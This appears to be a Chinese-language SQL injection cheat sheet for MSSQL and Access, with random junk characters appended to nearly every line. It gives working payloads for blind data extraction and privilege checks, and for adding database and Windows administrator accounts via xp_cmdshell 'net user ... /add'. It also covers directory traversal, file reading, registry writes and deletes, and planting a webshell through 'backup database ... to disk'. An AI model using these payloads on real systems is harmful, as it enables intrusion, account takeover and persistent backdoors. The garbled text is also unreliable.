1.判断是否有注入;and 1=1 ;and 1=2 >{N9kWY
2.初步判断是否是mssql ;and user>0 s1=X>'q
wN`jE0
{
3.注入参数是字符'and [查询条件] and ''=' ]j'p :v
T@G?t0
4.搜索时没过滤参数的'and [查询条件] and '%25'=' i'4B3
w,w{/T+B
5.判断数据库系统 j:5=s%S
:ZTc7}
;and (select count(*) from sysobjects)>0 mssql :axRoRg
^oVs+ vC
;and (select count(*) from msysobjects)>0 access |s"nM<ZNZ
Nd`%5%'::
qm./|#m>
EKA#|^Q:NX
6.猜数据库 ;and (select Count(*) from [数据库名])>0 5V6G=H
pNOwDJtK
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 FB
_pw!z
s8-<m,*
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 A9f)tqbc
uxW~uEh
9.(1)猜字段的ascii值(access) .P;*D ws
KB%"bqB|
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 r
YogW!
%`OJ.:k
(2)猜字段的ascii值(mssql) o}W%I/s
.Si,dc\
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;gBRCZ
NPCs('cd>?
10.测试权限结构(mssql) [<-
7l'6gg
<0H"|:W>I]
]DOX?qI
i
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- mX\TD0$d
n1~o1
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- xgpi-l
9^,Lc1"M>
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 3^R&:|,
x$IX5:E#e
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- bLe<G
,8:(OB|a
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- _z'u pb&
U'8bdsF_
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- LO
<
zhpx"{_
;and 1=(select IS_MEMBER('db_owner'));-- *RXbc~
H
`&KwtvkdI
vY%d
>H'4{|
11.添加mssql和系统的帐户 m1),;RsH
$UgA0]qn
;exec master.dbo.sp_addlogin username;-- R#2 t)y
;exec master.dbo.sp_password null,username,password;-- 1abtgDL
fJ/e(t
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- cc#gEm)3C
.#1~Rz1r
;exec master.dbo.xp_cmdshell 'net user username password R($KSui
jqv- D
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Tsgk/e9K2?
4"{ooy^Q
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2ggdWg7z
^~G8?]w
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ^SxY IFL
&GlwC%$S
U4gF(Q
_{r=.W+w
12.(1)遍历目录 @c<3b2
LUuZ9$t0J"
;create table dirs(paths varchar(100), id int) J13>i7]L%
hJDi7P
;insert dirs exec master.dbo.xp_dirtree 'c:\' :Qumb
5#> 8MU?&
;and (select top 1 paths from dirs)>0 #gp,V#T
`|,`QqDQ
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) }*lUah,@
+w.JpbQ&
>Y
#t`6,!
11<Qxu$rL
(2)遍历目录 #tZ4N7
m\$\ 09
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- &m|wH4\
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 AT9q3
g{8,Wx,,
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 1jN-4&
hg+X(0
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 UG)8D5
QS{1CC9$
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 TYJ:!
3~}uqaGt
2'_:S@
Z$0uH* h
13.mssql中的存储过程 Fb7#<h
TQx.KM>y
xp_regenumvalues 注册表根键, 子键 IG|X!l
Au4yBm
u
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 r41\r,`Dj
ag*mG*Z
xp_regread 根键,子键,键值名 :cq9f2)
0TGLM#{
;exec xp_regread ^1Zeb$Nw'
} p&&_?
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 4W3\P9p=
6`v7c!7
xp_regwrite 根键,子键, 值名, 值类型, 值 \RvvHty-V
o(:[r@Z0z
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
"Qja1TQ
CAcS~ "
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 MxY/`9>E|+
u>TZt]h8
xp_regdeletevalue 根键,子键,值名 4eikLRD,
5dB'&8DX
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 <5NF;
\
C+(~9@|
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 #a`a$A
0KGY\,ae:;
`e(vH`VZ
Xlb0/T<g!
14.mssql的backup创建webshell qEpi] =|
1jc,
Y.mP
use model hRty [
WHjUR0NZ
create table cmd(str image); WDg+J
$OP7l>KZY
insert into cmd(str) values (''); >2,Gy-&"0
}; f#^gz'
backup database model to disk='c:\l.asp'; 2I&o69x?
>y[oP!-|P
9'{}!-(xR
3'^k$;^
15.mssql内置函数 q|8{@EMT
b|+wc6
;and (select @@version)>0 获得Windows的版本号 G}FIjBE
Q8DQlqHm
;and user_name()='dbo' 判断当前系统的连接用户是不是sa _>9.v%5cs(
Ti'}MC+0
;and (select user_name())>0 爆当前系统的连接用户 -u?S=h}
!!Aj<*%
;and (select db_name())>0 得到当前连接的数据库 |7X:TfJ
`;)\u
OtGb<v<_H
"
t7M3i_
16.简洁的webshell LxpuhvIO
7oq[38zB
use model >lBD<;T
(HSgEs1d
create table cmd(str image); g_G6~-.9I
e_V O3"
insert into cmd(str) values (''); %-<'QYYP
#/I[Jqf
backup database model to disk='g:\wwwtest\l.asp';